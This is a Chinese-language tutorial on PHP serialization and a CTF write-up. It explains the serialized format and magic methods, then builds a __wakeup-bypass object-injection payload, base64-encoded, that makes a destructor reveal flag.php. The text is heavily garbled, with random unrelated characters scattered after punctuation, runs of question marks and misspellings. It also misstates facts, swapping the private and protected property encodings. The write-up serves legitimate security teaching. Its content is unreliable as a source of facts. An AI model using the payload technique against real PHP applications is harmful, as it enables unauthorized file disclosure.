?????????????????????????? ? ? ? ? ? ? ? 介紹序列化和反序列化
序列化和反序列化:大型網站中類創(chuàng)建的對象多的時候會占用大量空間槐沼,序列化就是將這些對象轉換為字符串來保存曙蒸,當用到的時候再轉換為對象,由字符串重新轉換為對象的時候用到的就是反序列化岗钩。
例:
<?php
<?phpclass A{public $a=1;}
$a = new A();
$se_a = serialize($a);
echo $se_a;
?>
輸出結果:
O:1:"A":1:{s:1:"a";i:1;}
格式說明:O:“類的名字的字節(jié)數(shù)“:“類的名字“:“對象中幾個參數(shù)“:{“第一個參數(shù)名字的類型“:“第一個參數(shù)名字所占字節(jié)數(shù)”:“第一個參數(shù)名字”纽窟;“第二個參數(shù)名字的類型“:“第二個參數(shù)名字所占字節(jié)數(shù)”:“第二個參數(shù)名字”;········凹嘲;“第n個參數(shù)名字的類型“:“第n個參數(shù)名字所占字節(jié)數(shù)”:“第n個參數(shù)名字”师倔;}
以下以類的名字為“A”,參數(shù)名字為a舉例子:
若參數(shù)類型為public周蹭,則參數(shù)名字的類型用字母 “s”表示趋艘,整體表示為:(s:1:"a";);
若參數(shù)類型為private凶朗,則參數(shù)名字的類型用字母“s”表示瓷胧,整體表示為:(s:4:"\0*\0a";);
若參數(shù)類型為protected棚愤,則參數(shù)名字的類型用字母“S”表示搓萧,整體表示為:(S:2:"\0Aa\0";),參數(shù)前面加類的名字宛畦。(\0是表示0的ASCII碼)
常見的表示類型的字符:
O:類
a:數(shù)組(array)
b:boolean
i:整型
s:字符串
N:NULL
d:double瘸洛,浮點型
??????????????????????????? 挖掘反序列化漏洞需要注意的常用魔法函數(shù)
反序列化漏洞也被成為對象注入。
__construct():當一個對象創(chuàng)建時被調用次和。
__destruct():當一個對象銷毀時或者php代碼執(zhí)行完畢時被調用反肋。
__toString():當一個對象被當作一個字符串使用
__sleep():在對象在被序列化之前運行
__wakeup():將在序列化之后立即被調用
__weakup()函數(shù)繞過方法:
用上面的例子,正常輸出O:1:"A":1:{s:1:"a";i:1;}踏施,這里變量數(shù)量只有一個石蔗,若改成變量數(shù)量為兩個則可以繞過__weakup函數(shù)罕邀。
O:1:"A":2:{s:1:"a";i:1;}
原因是php底層代碼bug:簡單來說,如果對象屬性檢查異常养距,那么Purrase_nested_data()將會返回0诉探,且不調用WAKEUP()方法,但是在這之前對象和它的屬性已經被創(chuàng)建棍厌,緊接著對象將被破壞肾胯,從而執(zhí)行DESTRUCT()函數(shù),于是導致了漏洞定铜。
???????? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? ??? 實戰(zhàn)一道CTF題
<?php
class SoFun{???
??? protected $file='index.php';?
??? function __destruct(){?? //定義析構函數(shù)阳液,當創(chuàng)建的對象被銷毀時自動執(zhí)行
????? if(!empty($this->file)) {?
?????? if(strchr($this-> file,"\\")===false &&? strchr($this->file, '/')===false)??
????????? show_source(dirname (__FILE__).'/'.$this ->file);
?????? else????? die('Wrong filename.');
????? }} ?
??? function __wakeup(){ $this-> file='index.php'; }
??? public function __toString(){return '' ;}}??? ?
??? if (!isset($_GET['file'])){ show_source('index.php'); }
??? else{
?????? $file=base64_decode( $_GET['file']);
?????? echo unserialize($file ); }
?>?? #<!--key in flag.php-->
這題最后輸出答案的語句應該是析構函數(shù)里的這句:show_source(dirname (__FILE__).'/'.$this ->file);
可是代碼最后執(zhí)行反序列化的時候執(zhí)行了__weakup()函數(shù),所以就執(zhí)行了__weakup()函數(shù)中的this->file='index'揣炕,代碼執(zhí)行結束的時候,析構函數(shù)中show_source(dirname (__FILE__).'/'.$this ->file);就輸出的為index..php的代碼了东跪。所以用繞過__weakup()函數(shù)的方法來不讓this->file這個變量變成index.php畸陡。
1、代碼審計
審計代碼虽填,可以發(fā)現(xiàn)要得到KEY丁恭,思路如下:
1、源碼最后提示斋日,KEY在flag.php里面牲览;
2、注意到__destruct魔術方法中恶守,有這么一段代碼第献,將file文件內容顯示出來
show_source(dirname(FILE).’/‘.$this->file),這個是解題關鍵兔港;
3庸毫、若POST“file”參數(shù)為序列化對象,且將file設為flag.php衫樊;那么可以通過unserialize反序列化飒赃,進而調用__destruct魔術方法來顯示flag.php源碼(要注意的是file參數(shù)內容需要經過base64編碼);
4科侈、上面的分析是多么美好载佳,但從代碼分析可以知道,還有__wakeup這個攔路虎臀栈,通過unserialize反序列化之后蔫慧,也會調用__wakeup方法,它會把file設為index.php挂脑;
5藕漱、總結下來就是欲侮,想辦法把file設為flag.php,調用__destruct方法肋联,且繞過__wakeup威蕉。
2、PHP反序列化對象注入漏洞
上網查資料橄仍,發(fā)現(xiàn)原來這個CTF題目是根據(jù)PHP反序列化對象注入漏洞改編的韧涨。
簡單來說,當序列化字符串中侮繁,表示對象屬性個數(shù)的值大于實際屬性個數(shù)時虑粥,那么就會跳過wakeup方法的執(zhí)行。舉個栗子宪哩,比如有個Student類娩贷,里面有個參數(shù)為name。
實際情況:O:7:”Student”:1:{S:4:”name”;s:8:”zhangsan”;}
Payload:O:7:”Student”:2:{S:4:”name”;s:8:”zhangsan”;}Payload對象屬性個數(shù)為2锁孟,而實際屬性個數(shù)為1彬祖,那么就會掉入漏洞,從而跳過wakeup()方法品抽。
3储笑、CTF Payload
明確了這些之后,就可以構造出Payload了圆恤,需反序列化的對象為:
O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}? ?
O:5:”SoFun” 指的是 類:5個字符:SoFun
:2:? 指的是 有兩個對象
S:7:”\00*\00file”?? 指的是有個屬性突倍,有7個字符,名為\00*\00file
s:8:”flag.php”?? 指的是屬性值盆昙,有8個字符羽历,值為flag.php? ?
值得注意的是,file是protected屬性弱左,因此需要用\00*\00來表示窄陡,\00代表ascii為0的值。另外拆火,還需要經過Base64編碼跳夭,結果為:
Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==